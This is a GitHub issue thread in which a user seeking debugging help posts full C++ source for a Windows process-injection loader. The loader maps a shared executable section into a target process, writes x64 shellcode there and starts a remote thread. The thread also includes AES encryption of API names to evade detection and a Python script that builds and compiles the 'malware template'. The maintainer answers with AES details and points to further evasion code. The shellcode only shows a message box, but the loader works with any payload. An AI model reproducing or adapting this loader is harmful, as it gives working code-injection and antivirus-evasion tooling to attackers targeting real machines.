cocomelonc / 2021-12-13-malware-injection-12

Code injection via utilizing sections for malicious code execution
5 stars 3 forks source link

Encrypting Functions with AES - Smiley in output #1

Open WinterIsCommin opened 2 years ago

WinterIsCommin commented 2 years ago

Hi @cocomelonc , as I'm studying thru your amazing articles on Github.io, I wanted to attempt and add encryption to Memory Section injection. First I tried to encrypt functions with XOR and it worked successfully, then I tried with AES. With AES I am experiencing a wired issue, the executable did not work so I printed the functions value after decryption, and the following was added to the output:

Upload

Symbols added: ☺►

I guess this what breaks the executable from working correctly (maybe there is another issue I will need to deal with later XD) Maybe you will have suggestions on how I can solve it?

C++ File content:

include

include

include

include

include

pragma comment (lib, "crypt32.lib")

pragma comment(lib, "ntdll")

pragma comment(lib, "advapi32.lib")

define InitializeObjectAttributes(p,n,a,r,s) { \

(p)->Length = sizeof(OBJECT_ATTRIBUTES); \ (p)->RootDirectory = (r); \ (p)->Attributes = (a); \ (p)->ObjectName = (n); \ (p)->SecurityDescriptor = (s); \ (p)->SecurityQualityOfService = NULL; \ }

typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;

typedef NTSTATUS(NTAPI* pNtCreateSection)( OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL );

typedef NTSTATUS(NTAPI pNtMapViewOfSection)( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect );

typedef NTSTATUS(NTAPI* pRtlCreateUserThread)( IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID );

typedef NTSTATUS(NTAPI* pNtOpenProcess)( PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID );

typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)( HANDLE ProcessHandle, PVOID BaseAddress );

int findMyProc(const char* procname) { HANDLE hSnapshot; PROCESSENTRY32 pe; int pid = 0; BOOL hResult; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) return 0; pe.dwSize = sizeof(PROCESSENTRY32); hResult = Process32First(hSnapshot, &pe); while (hResult) { if (strcmp(procname, pe.szExeFile) == 0) { pid = pe.th32ProcessID; break; } hResult = Process32Next(hSnapshot, &pe); } CloseHandle(hSnapshot); return pid; }

int AESDecrypt(char data, unsigned int data_len, char key, size_t keylen) { HCRYPTPROV hProv; HCRYPTHASH hHash; HCRYPTKEY hKey; if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { return -1; } if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { return -1; } if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) { return -1; } if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { return -1; } if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, data, &data_len)) { return -1; } CryptReleaseContext(hProv, 0); CryptDestroyHash(hHash); CryptDestroyKey(hKey); return 0; }

// AES Encryption unsigned char cNtCreateSection[] = { 0xc0, 0xe7, 0xae, 0x9d, 0x17, 0x97, 0x4f, 0x1b, 0xb9, 0x8d, 0xe6, 0xe9, 0x5a, 0x8f, 0x2, 0xde }; unsigned int cNtCreateSectionLen = sizeof(cNtCreateSection); unsigned char AesSecretKey[] = { 0x17, 0xf1, 0x9b, 0x77, 0xf9, 0x1b, 0x57, 0x96, 0xdd, 0x69, 0xd5, 0x4, 0xc0, 0xa8, 0x97, 0x75 }; int main(int argc, char argv[]) { // 64-bit meow-meow messagebox without encryption unsigned char my_payload[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41" "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60" "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72" "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac" "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2" "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48" "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f" "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49" "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01" "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01" "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41" "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b" "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58" "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7" "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e" "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83" "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e" "\x2e\x2e\x5e\x3d\x00"; AESDecrypt((char)cNtCreateSection, cNtCreateSectionLen, AesSecretKey, sizeof(AesSecretKey)); printf(cNtCreateSection); SIZE_T s = 4096; LARGE_INTEGER sectionS = { s }; HANDLE sh = NULL; // section handle PVOID lb = NULL; // local buffer PVOID rb = NULL; // remote buffer HANDLE th = NULL; // thread handle DWORD pid; // process ID pid = findMyProc(argv[1]); OBJECT_ATTRIBUTES oa; CLIENT_ID cid; InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL); cid.UniqueProcess = (PVOID)pid; cid.UniqueThread = 0; // loading ntdll.dll HANDLE ntdll = GetModuleHandleA("ntdll"); pNtOpenProcess myNtOpenProcess = (pNtOpenProcess)GetProcAddress(ntdll, "NtOpenProcess"); pNtCreateSection myNtCreateSection = (pNtCreateSection)(GetProcAddress(ntdll, cNtCreateSection)); pNtMapViewOfSection myNtMapViewOfSection = (pNtMapViewOfSection)(GetProcAddress(ntdll, "NtMapViewOfSection")); pRtlCreateUserThread myRtlCreateUserThread = (pRtlCreateUserThread)(GetProcAddress(ntdll, "RtlCreateUserThread")); pZwUnmapViewOfSection myZwUnmapViewOfSection = (pZwUnmapViewOfSection)(GetProcAddress(ntdll, "ZwUnmapViewOfSection")); // create a memory section myNtCreateSection(&sh, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionS, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); // bind the object in the memory of our process for reading and writing myNtMapViewOfSection(sh, GetCurrentProcess(), &lb, NULL, NULL, NULL, &s, 2, NULL, PAGE_READWRITE); // open remote proces via NT API HANDLE ph = NULL; myNtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oa, &cid); if (!ph) { printf("failed to open process :(\n"); return -2; } // bind the object in the memory of the target process for reading and executing myNtMapViewOfSection(sh, ph, &rb, NULL, NULL, NULL, &s, 2, NULL, PAGE_EXECUTE_READ); // write payload memcpy(lb, my_payload, sizeof(my_payload)); //printf("current = %p\n", lb); //printf("target = %p\n", rb); // create a thread myRtlCreateUserThread(ph, NULL, FALSE, 0, 0, 0, rb, NULL, &th, NULL); // and wait if (WaitForSingleObject(th, INFINITE) == WAIT_FAILED) { return -2; } // clean up myZwUnmapViewOfSection(GetCurrentProcess(), lb); myZwUnmapViewOfSection(ph, rb); CloseHandle(sh); CloseHandle(ph); return 0; }

Python file content:

import sys import os import hashlib import string from Crypto.Cipher import AES from os import urandom def pad(s) : return s + (AES.block_size - len(s) % AES.block_size) chr(AES.block_size - len(s) % AES.block_size) def convert(data) : output_str = "" for i in range(len(data)) : current = data[i] ordd = lambda x : x if isinstance(x, int) else ord(x) output_str += hex(ordd(current)) return output_str.split("0x") def AESencrypt(plaintext, key) : k = hashlib.sha256(key).digest() iv = 16 '\x00' plaintext = pad(plaintext) cipher = AES.new(k, AES.MODE_CBC, iv.encode("UTF-8")) ciphertext = cipher.encrypt(plaintext.encode("UTF-8")) ciphertext, key = convert(ciphertext), convert(key) ciphertext = '{' + (' 0x'.join(x + "," for x in ciphertext)).strip(",") + ' };' key = '{' + (' 0x'.join(x + "," for x in key)).strip(",") + ' };' return ciphertext, key secret_key = urandom(16) plaintext = "NtCreateSection" ciphertext, key = AESencrypt(plaintext, secret_key)

open and replace our payload in C++ code

    tmp = open("filename.cpp", "rt")
    data = tmp.read()
    data = data.replace('unsigned char cNtCreateSection[] = { };', 'unsigned char cNtCreateSection[] = ' + ciphertext)
    data = data.replace('unsigned char AesSecretKey[] = { };', 'unsigned char AesSecretKey[] = ' + key)
    tmp.close()
    tmp = open("filename2.cpp", "w+")
    tmp.write(data)
    tmp.close()
    ## compile
    try :
    cmd = "86_64-w64-mingw32-g++ please.cpp -o gg.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-function-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive"
    os.system(cmd)
    except :
    print("error compiling malware template :(")
    sys.exit()

else: print(cmd) print("successfully compiled :)")

cocomelonc commented 2 years ago

Sorry for my late reply, There was a health issue at my family. It's just a feature of Windows Crypto API, not bug. In unauthenticated modes of operation, there are a number of situations in which decryption can succeed even if the ciphertext has been altered, resulting in a plaintext that differs from the one that was originally encrypted.

Do not forget that AES is a block cipher. It transforms one block of 128 bits to another block of 128 bits. The only additional variables are the used key and the operation performed (e.g. encrypt or decrypt). There is no mechanism to determine if the 128-bit block passed in has been altered since a previous operation; AES is unaware of this. It is merely a transformation function with a key.

Please take a close look at this code. https://github.com/cocomelonc/peekaboo/blob/aes/peekaboo.cpp

I think you understand what I mean.